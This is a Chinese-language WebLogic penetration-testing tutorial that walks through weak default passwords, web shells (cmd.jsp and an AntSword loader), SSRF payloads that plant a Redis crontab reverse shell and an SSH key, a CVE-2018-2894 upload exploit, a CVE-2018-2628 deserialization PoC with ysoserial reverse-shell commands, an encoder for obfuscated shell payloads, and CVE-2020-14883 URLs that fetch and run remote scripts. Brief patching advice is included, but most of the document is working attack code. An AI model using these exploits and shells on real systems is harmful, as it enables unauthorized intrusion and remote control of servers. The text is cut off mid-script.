中间件漏洞

Weblogic 漏洞

Weblogi 简介

WebLogic Server 是美国甲骨文( Oracle )公司开发的一款适用于云环境和传统环境的应用服务中间件,确切的说是一个基于 JavaEE 架构的中间件,它提供了一个现代轻型开发平台,用于开发、集成、部署和管理大型分布式 Web 应用、网络应用和数据库应用的 Java 应用服务器。将 Java 的动态功能和 Java Enterprise 标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

Weblogic特征

默认端口:7001
Web界面:Error 404--Not Found
控制后台:http://ip:7001/console

在这里插入图片描述

Weblogic历史漏洞

漏洞主要影响版本:

  • Weblogic 10.3.6.0
  • Weblogic 12.1.3.0
  • Weblogic 12.2.1.1
  • Weblogic 12.2.1.2
  • Weblogic 12.2.1.3
  • Weblogic 14.1.1.0
漏洞类型CVE编号
SSRFCVE-2014-4210
任意文件上传CVE-2018-2894
XMLDecoder反序列化CVE-2017-3506
CVE-2017-10271
CVE-2019-2725
CVE-2019-2729
Java反序列化CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2018-2893
CVE-2020-2890
CVE-2020-2555
CVE-2020-14645
CVE-2020-14756
CVE-2021-2109
弱口令Weblogic
Oracle@123

Weblogic历史漏洞发现

获取资产

  • shodan、fofa、zoomeye等
fofa:app="BEA-WebLogic-Server" && country!="CN"
  • 默认端口:7001

批量扫描脚本

https://github.com/rabbitmask/WeblogicScan

python3 WeblogicScan.py -u 192.168.164.133 -p 7001

在这里插入图片描述

Weblogic漏洞环境搭建

docker pull vulhub/weblogic:10.3.6.0-2017
docker run -dit -p 7001:7001 vulhub/weblogic:10.3.6.0-2017

Weblogic历史漏洞利用

WeakPassword

Weblogic存在管理后台,通过账号密码登录,由于管理员的疏忽,经常会使用弱口令,或者默认的账户名密码

Weblogic弱口令
账号:weblogic
密码:Oracle@123

Weblogic 默认口令:https://cirt.net/passwords?criteria=weblogic

system/password
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
  • cmd.jsp
<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\r\n"; } } catch(IOException e) { e.printStackTrace(); } } out.println(output);%>
命令打包 war 包
jar -cvf cmd.war cmd.jsp
上传 war 包

登录后台,选择部署,进入如下页面,上传war包

GetShell

访问如下 url 即可 getshell :

http://47.104.255.11:7001/cmd/cmd.jsp?cmd=ls
  • AntSword_shell.jsp
<%!
	class U extends ClassLoader {
		U(ClassLoader c) {
			super(c);
		}
		public Class g(byte[] b) {
			return super.defineClass(b, 0, b.length);
		}
	}

	public byte[] base64Decode(String str) throws Exception {
		try {
			Class clazz = Class.forName("sun.misc.BASE64Decoder");
			return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
		} catch (Exception e) {
			Class clazz = Class.forName("java.util.Base64");
			Object decoder = clazz.getMethod("getDecoder").invoke(null);
			return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
		}
	}
%>
<%
	String cls = request.getParameter("ant");
	if (cls != null) {
		new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
	}
%>

CVE-2014-4210

漏洞简介

Weblogic 中存在一个 SSRF 漏洞,利用该漏洞可以发送任意HTTP请求,进而可以攻击内网中 Redis 、 Fastcgi 等脆弱组件。

漏洞生于 /uddiexplorer/SearchPublicRegistries.jsp 页面中,可以导致 SSRF ,用来攻击内网中一些 redis 和 fastcgi 之类的脆弱组件

http://47.104.255.11:7001/uddiexplorer/SearchPublicRegistries.jsp
?rdoSearch=name

&txtSearchname=sdf
&txtSearchkey=
&txtSearchfor=
&selfor=Business+location
&btnSubmit=Search
&operator=http://47.101.214.85:9090

当 http 端口存活的时候就会显示:
在这里插入图片描述

内网主机存活探测
  1. 随机访问一个端口则会显示 could not connect :
  2. 一个非http的协议则会返回 did not have a valid SOAP
  3. 不存活的主机就是 No route to host
  • 内网存活探测脚本
import requests
url =
"http://47.104.255.11:7001/uddiexplorer/SearchPublicRegistries.
jsp"
    
ports = [6378,6379,22,25,80,8080,8888,8000,7001,7002]
for i in range(1,255):
	for port in ports:
		params = dict(
			rdoSearch = "name",
			txtSearchname = "sdf",
			selfor = "Business+location",
			btnSubmit = "Search",
			operator = "http://172.23.0.{}:{}".format(i,port))
		try:
			r = requests.get(url, params=params, timeout = 3)
		except:
			pass

		if 'could not connect over HTTP to server' not in r.text and 'No route to host' not in r.text:
			print('[*] http://172.23.0.{}:{}'.format(i,port))
		else:
			pass
			#print('[-] http://172.23.0.{}:{}'.format(i,port))
SSRF攻击内网Redis
  • 写定时任务
/uddiexplorer/SearchPublicRegistries.jsp?
operator=http://172.18.0.1:6379/test%0D%0A%0D%0Aset%20x%20%22%5Cn%5Cn%5Cn%5Cn*%2F1%20*%20*%20*%20*%20%2Fbin%2Fbash%20-
i%20>%26%20%2Fdev%2Ftcp%2F47.101.214.85%2F1234%200>%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%2Fcrontabs%2F%0D%0Aconfig%20set%20dbfilename%20root%0D%0Asave%0D%0A%0D%0Aaaa&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
  • 写SSH公钥
/uddiexplorer/SearchPublicRegistries.jsp?
operator=http://172.18.0.1:6379/test%0D%0A%0D%0Aset%20xx%20%22%5Cn%5Cn%5Cn%5Cnssh-
rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABAQDV14i/SITCBQjzb%2B8xL0vwGwKjnMEQiarTxdVokFToK0Xw99m0eJwKV3WcTQgSykHA2rFxbQw%2Fv9IVx89bAzX0iOBAU8jF%2B9oH5KE9KBzM%2FT1Vr3DDwmNny2qYCfizO9jJ90fr3DUeXWwl%2BD24XiKfkDzlDly9LgEYxXl%2FCIgZ91QcTA0UeSBLXCgigVLKhDNZGGBqMFrGNUsj0esNJr7pJsYEnIn%2BN5BtnUWEce1KERlGDiwvzRpyFvOKgQpEAiS%2BR781GSsAsJsCQz8OFge6lx0iSMNZ6TWjkQYKlnTkQvzOo%2FZhINtItYziRXJKmNQLdPpQ7OYo2WOQ4TIDFtR5%20root@iZuf6jc5pa52ijq06q5f1lZ%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Froot%2F.ssh%0D%0Aconfig%20set%20dbfilename%20authorized_keys%0D%0Asave%0D%0A%0D%0Aaaa&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business%2Blocation&btnSubmit=Search

CVE-2018-2894

  • WebLogic未授权任意文件上传

在 Weblogic Web Service Test Page 中存在一处任意文件上传漏洞, Web ServiceTest Page 在"生产模式"下默认不开启,所以该漏洞有一定限制。利用该漏洞,可以上传任意 jsp 文件,进而获取服务器权限。

影响范围
Oracle WebLogic Server版本
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3
影响页面
该漏洞的影响模块为web服务测试页,在默认情况下不启用。

/ws_utc/config.do
/ws_utc/begin.do

通过测试在10.3.6版本上未发现该功能

登录控制台-》base_domain-》高级-》勾选启用Web服务测试页 -》保存
漏洞复现

/root/Oracle/Middleware/user_projects/domains/base_domain

https://vulhub.org/#/environments/weblogic/CVE-2018-2894/
https://blog.riskivy.com/weblogic-cve-2018-2894/

漏洞利用
  • exp
#!/usr/bin/env python
# coding:utf-8
# Build By LandGrey

import re
import sys
import time
import argparse
import requests
import traceback
import xml.etree.ElementTree as ET

def get_current_work_path(host):
	geturl = host +
"/ws_utc/resources/setting/options/general"
	ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0'}
	values = []
	try:
		request = requests.get(geturl)
		if request.status_code == 404:
			exit("[-] {} don't exists CVE-2018-2894".format(host))
		elif "Deploying Application".lower() in request.text.lower():
			print("[*] First Deploying Website Please wait a moment ...")
			time.sleep(20)
			request = requests.get(geturl, headers=ua)
		if "</defaultValue>" in request.content:
			root = ET.fromstring(request.content)
			value = root.find("section").find("options")
			for e in value:
				for sub in e:
					if e.tag == "parameter" and sub.tag == "defaultValue":
						values.append(sub.text)
	except requests.ConnectionError:
		exit("[-] Cannot connect url: {}".format(geturl))
	if values:
		return values[0]
	else:
		print("[-] Cannot get current work path\n")
		exit(request.content)

def get_new_work_path(host):
	origin_work_path = get_current_work_path(host)
	works =
"/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css"
	if "user_projects" in origin_work_path:
		if "\\" in origin_work_path:
			works = works.replace("/", "\\")
			current_work_home =
origin_work_path[:origin_work_path.find("user_projects")] + "user_projects\\domains"
			dir_len = len(current_work_home.split("\\"))
			domain_name = origin_work_path.split("\\") [dir_len]
			current_work_home += "\\" + domain_name + works
		else:
			current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects/domains"
			dir_len = len(current_work_home.split("/"))
			domain_name = origin_work_path.split("/")[dir_len]
			current_work_home += "/" + domain_name + works
	else:
		current_work_home = origin_work_path
		print("[*] cannot handle current work home dir: {}".format(origin_work_path))
	return current_work_home

def set_new_upload_path(host, path):
	data = {
		"setting_id": "general",
		"BasicConfigOptions.workDir": path,
		"BasicConfigOptions.proxyHost": "",
		"BasicConfigOptions.proxyPort": "80"}
	request = requests.post(host +
"/ws_utc/resources/setting/options", data=data, headers=headers)
	if "successfully" in request.content:
		return True
	else:
		print("[-] Change New Upload Path failed")
		exit(request.content)

def upload_webshell(host, uri):
	set_new_upload_path(host, get_new_work_path(host))
	files = {
		"ks_edit_mode": "false",
		"ks_password_front": password,
		"ks_password_changed": "true",
		"ks_filename": ("360sglab.jsp", upload_content)
   }

	request = requests.post(host + uri, files=files)
	response = request.text
	match = re.findall("<id>(.*?)</id>", response)
	if match:
		tid = match[-1]
		shell_path = host + "/ws_utc/css/config/keystore/" + str(tid) + "_360sglab.jsp"
		if upload_content in requests.get(shell_path, headers=headers).content:
			print("[+] {} exists CVE-2018-2894".format(host))
			print("[+] Check URL: {} ".format(shell_path))
		else:
			print("[-] {} don't exists CVE-2018-2894".format(host))
	else:
		print("[-] {} don't exists CVE-2018-2894".format(host))

if __name__ == "__main__":
	start = time.time()
	password = "360sglab"
	url = "/ws_utc/resources/setting/keystore"
	parser = argparse.ArgumentParser()
	parser.add_argument("-t", dest='target', default="http://127.0.0.1:7001", type=str, help="target, such as: http://example.com:7001")

	upload_content = "360sglab test"
	headers = {
		'Content-Type': 'application/x-www-form-urlencoded',
		'X-Requested-With': 'XMLHttpRequest', }

	if len(sys.argv) == 1:
		sys.argv.append('-h')
	args = parser.parse_args()
	target = args.target

    target = target.rstrip('/')
	if "://" not in target:
		target = "http://" + target
	try:
		upload_webshell(target, url)
	except Exception as e:
		print("[-] Error: \n")
		traceback.print_exc()
参考

https://blog.riskivy.com/weblogic-cve-2018-2894
https://www.freebuf.com/vuls/178510.html
https://www.jianshu.com/p/0b0471aa9bcb
https://github.com/111ddea/cve-2018-2894
https://vulhub.org/#/environments/weblogic/CVE-2018-2894/
https://blog.riskivy.com/weblogic-cve-2018-2894/

CVE-2018-2628*

  • WebLogic RMI 反序列化

Java 序列化是指把 Java 对象转换为字节序列的过程,便于保存在内存、文件、数据库中。反序列化是指把字节序列恢复为 Java 对象的过程。

ObjectOutputStream 类的 writeObject() 方法可以实现序列化。

ObjectInputStream 类的 readObject() 方法用于反序列化。

基础知识

weblogic: WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

JRMP:java remote method protocol,Java远程方法协议。JRMP是的Java技术协议的具体对象为希望和远程引用。JRMP只能是一个Java特有的,基于流的协议。相对于的RMI - IIOP的 ,该协议JRMP只能是一个对象的Java到Java的远程调用,这使得它依赖语言,意思是客户端和服务器必须使用Java。

T3协议:T3也称为丰富套接字,是BEA内部协议,功能丰富,可扩展性好。T3是多工双向和异步协议,经过高度优化,只使用一个套接字和一条线程。借助这种方法,基于Java的客户端可以根据服务器方需求使用多种RMI对象,但仍使用一个套接字和一条线程。

WebLogic Server 中的 RMI(远程方法调用) 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他WebLogic Server 实例)间传输数据。

ysoserial:一种反序列化工具。

JRMP:Java远程消息交换协议JRMP(Java Remote Messaging Protocol)

该协议基于TCP/IP,既然是作为信息交换协议,必然存在接收和发送两个端点,JRMPListener可以粗糙的理解为发送端,在本实验中意为攻击机上1099端口与weblogic靶机上的7001进行通信达到远程命令执行的目的。

Java RMI:Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。

影响范围
Oracle WebLogic Server10.3.6.0
Oracle WebLogic Server12.2.1.2
Oracle WebLogic Server12.2.1.3
Oracle WebLogic Server12.1.3.0
漏洞危害

通过该漏洞,攻击者可以在未授权的情况下远程执行代码。攻击者只需要发送精心构造的T3协议数据,就可以获取目标服务器的权限。攻击者可利用该漏洞控制组件,影响数据的可用性、保密性和完整性。

漏洞分析

https://www.freebuf.com/vuls/169420.html
https://www.freebuf.com/articles/system/171195.html

漏洞复现

Centos7 + jdk1.8 + weblogic10.3.6

  • 漏洞验证
#!env python
#coding=utf-8
# 
# Author:       liaoxinxi@nsfocus.com
# 
# Created Time: Wed 19 Jul 2017 01:47:53 AM CST
# 
# FileName:     weblogic_poc.py
# 
# Description:  
# 
# ChangeLog:
# -*- coding: utf-8 -*-
#先进行T3的握手,成功了就发送第一步的payload,然后发送RequestObject,尝试让weblogic反连自己,然后发送恶意数据,通过回显判定恶意特征串来判定是否存在漏洞
import socket
import time
import re
import sys
import json

socket.setdefaulttimeout(5)

VUL=['CVE-2018-2628']
PAYLOAD=
['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']
VER_SIG=['\\$Proxy[0-9]+']

def t3handshake(sock,server_addr):
	sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
	time.sleep(1)
	sock.recv(1024)
	#print 'handshake successful'

def buildT3RequestObject(sock,port):
	data1 =
'000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
	data2 =
'007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
	data3 = '1a7727000d3234322e323134'
	data4 = '2e312e32353461863d1d0000000078'
	for d in [data1,data2,data3,data4]:
		sock.send(d.decode('hex'))
	time.sleep(2)
	#print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))

def sendEvilObjData(sock,data):
	payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
	payload+=data
	payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
	payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
	sock.send(payload.decode('hex'))
	time.sleep(2)
	sock.send(payload.decode('hex'))
	res = ''
	count = 1024
	try:
		while True:
			res += sock.recv(4096)
			time.sleep(0.1)
			count -= 1
			if count <= 0:
				break
	except Exception as e:
		pass
	return res

def checkVul(res,server_addr,index):
	p=re.findall(VER_SIG[index], res, re.S)
	if len(p)>0:
		#print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])
		return True
	return False

def do_run(dip,dport,index):
	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整
	sock.settimeout(25)
	server_addr = (dip, dport)
	t3handshake(sock, server_addr)
    buildT3RequestObject(sock, dport)
    rs=sendEvilObjData(sock, PAYLOAD[index])
    #print 'rs',rs
    return checkVul(rs, server_addr, index)

def run(url, port):
	try:
		res = do_run(url, port, 0)
		if res:
			out = {
				'结果': '存在WebLogic CVE-2018-2628 反序列化RCE漏洞',
				'url': '%s:%s' % (url, port),
			} 
			return json.dumps(out, encoding='utf8', ensure_ascii = False)
			return False
	except Exception ,e:
		print "[!] ", e
	return False

if __name__=="__main__":
	dip = sys.argv[1]
	dport = 7001
	print run(dip,dport)
  • 漏洞利用反弹shell
  1. 下载反序列化漏洞利用工具 ysoserial
wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

mv ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.jar
  1. 启动 JRMPListener server
java -cp ysoserial.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

[listen port] : JRMP Server监听的端口
[command] : 在目标机器上执行的命令
  1. 执行反弹 shell 命令
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "bash -i >& /dev/tcp/47.101.214.85/9090 0>&1"

由于 Runtime.getRuntime().exec() 中不能使用管道符等 bash 需要的方法,因此需
要对执行的命令进行编码:

  • 编码脚本
# -*- coding: utf-8 -*-
# @time     : 2022/4/1 21:36
# @Author   : mingy
# @File     : java_runtime_exec_encode.py
# @Software : PyCharm

import base64

def generate(num, cmd):
	if num == 1:
		cmd = base64.b64encode(cmd.encode()).decode()
		cmd = "bash -c {echo," + cmd + "}|{base64,-d}|{bash,-i}"
		return cmd
	elif num == 2:
		bs = bytearray(cmd, 'utf-16-le')
		cmd = base64.b64encode(bs).decode()
		cmd = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc " + cmd
		return cmd
	elif num == 3:
		cmd = base64.b64encode(cmd.encode()).decode()
		cmd = "python -c exec('" + cmd + "'.decode('base64'))"
		return cmd
	elif num == 4:
		cmd = base64.b64encode(cmd.encode()).decode()
		cmd = "perl -MMIME::Base64 -e eval(decode_base64('" + cmd + "'))"
		return cmd

def main():
	print(">>> 请输入数字选择类型 <<<")
	print('''
        >>> [1] Bash
        >>> [2] PowerShell
        >>> [3] Python
        >>> [4] Perl
	''')
	try:
		num = int(input(">>> "))
		if num not in range(1, 5):
			print("类型选择错误")
			exit()
	except:
		print("请输入1-4的整数")
		exit()
	print(">>> 请输入转换的命令 <<<")
	cmd = str(input(">>> "))
	gen_cmd = generate(num, cmd)
	print(gen_cmd)

    if __name__ == '__main__':
		main()
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "bash -c 
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuMjE0Ljg1LzkwOTAgMD4mMQ==}|{base64,-d}|{bash,-i}"

执行后如图,JRMP server监听在1099端口

  1. 使用python脚本发送payload

https://www.exploit-db.com/exploits/44553

python exploit.py [victim ip] [victim port] [path to ysoserial]
[JRMPListener ip] [JRMPListener port] [JRMPClient]

[victim ip]:weblogic ip
[victim port]:weblogic 端口
[path to ysoserial]:ysoserial工具路径
[JRMPListener ip]:JRMP server的IP
[JRMPListener port]:JRMP server监听端口
[JRMPClient]:有JRMPClient或JRMPClient2两个选项

python2 exploit.py 47.104.255.11 7001 ysoserial.jar 
120.27.61.239 1099 JRMPClient
  1. 得到目标shell

在执行exploit前,在自己接收shell的机器上监听对应端口

nc -lvvp 9090
修复方案
  1. 此漏洞产生于 Weblogic T3 服务,当开放Weblogic控制台端口(默认为7001端口)时,T3服务会默认开启。关闭T3服务,或控制T3服务的访问权限,能防护该漏洞。对于不在Oracle官方支持范围内的版本,由于没有最新补丁,推荐采用此种方式进行修复。同时,Weblogic采用黑名单的方式进行反序列化漏洞的修复,存在被绕过的风险,因此控制T3服务为防护 Weblogic RMI 这类反序列化漏洞的有效方式。控制T3服务方式:
  • 进入 Weblogic 控制台,在 base_domain 的配置页面中,进入“安全”选项卡页面,
  • 点击“筛选器”,进入连接筛选器配置。
  • 在连接筛选器中输入: weblogic.security.net.ConnectionFilterImpl
  • 在连接筛选器规则中输入: 127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * *
  • deny t3 t3s (t3和t3s协议的所有端口只允许本地访问)
  • 保存后需重新启动,规则方可生效。
  1. 更新Oracle官方发布的最新补丁,同时升级jdk至1.7.0.21以上版本。
参考链接

https://www.kingkk.com/2018/09/weblogic%E6%BC%8F%E6%B4%9E%E7%BB%83%E4%B9%A0/
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628
https://www.freebuf.com/articles/system/171195.html
https://blog.csdn.net/whatday/article/details/107720033

CVE-2019-2725

由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行

漏洞描述

Weblogic反序列化远程代码执行漏洞:

  • CNVD-C-2019-48814
  • CVE-2019-2725

由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行。

影响版本
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3
影响组件
bea_wls9_async_response.war
wsat.war
漏洞判断
  • 判断不安全组件是否开启

通过访问路径 /_async/AsyncResponseService

wls9_async_response.war 包中的类由于使用注解方法调用了Weblogic原生处理Web服务的类,因此会受该漏洞影响

漏洞利用

https://github.com/TopScrew/CVE-2019-2725

  • shell上传路径
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war
http://172.26.2.43:7001/bea_wls_internal/demo.jsp?
pwd=admin&cmd=whoami
漏洞修复
  • 打上官方CVE-2019-2725补丁包:

https://www.oracle.com/security-alerts/alert-cve-2019-2725.html

  • 升级本地JDK版本

因为Weblogic所采用的是其安装文件中默认1.6版本的JDK文件,属于存在反序列化漏洞的JDK版本,因此升级到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。

  • 配置URL访问控制策略

部署于公网的 WebLogic 服务器,可通过ACL禁止对 /_async/* 及 /wls-wsat/* 路径的访问。

  • 删除不安全文件

删除 wls9_async_response.war 与 wls-wsat.war 文件及相关文件夹,并重启Weblogic 服务。

具体文件路径:

10.3.* 版本:

\Middleware\wlserver_10.3\server\lib\
%DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\
%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\

12.1.3 版本:

\Middleware\Oracle_Home\oracle_common\modules\
%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\
%DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\
  • 10.3.6.0 补丁 Patch 29204678

https://support.oracle.com/epmos/faces/ui/patch/PatchDetail.jspx?patchId=29204678

  • 12.1.3.0 补丁 Patch 29204657

https://support.oracle.com/epmos/faces/ui/patch/PatchDetail.jspx?patchId=29204657

CVE-2020-14882

漏洞描述

Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台;

CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令

使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

影响范围
WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.3
WebLogic 12.2.1.4
WebLogic 14.1.1.0
漏洞环境
  • docker-compose.yml
version: '2'
services:
 weblogic:
   image: vulhub/weblogic:12.2.1.3-2018
   ports:
   - "7001:7001"

docker-compose up -d

访问 http://your-ip:7001/console 可查看到后台登录页面。

漏洞复现
CVE-2020-14882

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

  • WebLogic Server 版本: 10.3.6.0
  • WebLogic Server 版本: 12.2.1.3
CVE-2020-14883

这个漏洞的利用方式有两种:

  1. 通过 com.tangosol.coherence.mvel2.sh.ShellSession
  • 执行命令
http://139.155.49.43:7001/console/css/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在

com.tangosol.coherence.mvel2.sh.ShellSession 类

  • 反弹shell
http://139.155.49.43:7001/console/css/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl http://139.155.49.43:8000/shell.sh -o /tmp/shell.sh');")
http://139.155.49.43:7001/console/css/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('bash /tmp/shell.sh');")
  • 脚本
#!/usr/bin/python3
import requests
# -*- coding: utf-8 -*-

banner = """
▒█▀▀█ ▒█░░▒█ ▒█▀▀▀ ░░ █▀█ █▀▀█ █▀█ █▀▀█ ░░ ▄█░ ░█▀█░ ▄▀▀▄ ▄▀▀▄ 
█▀█ 
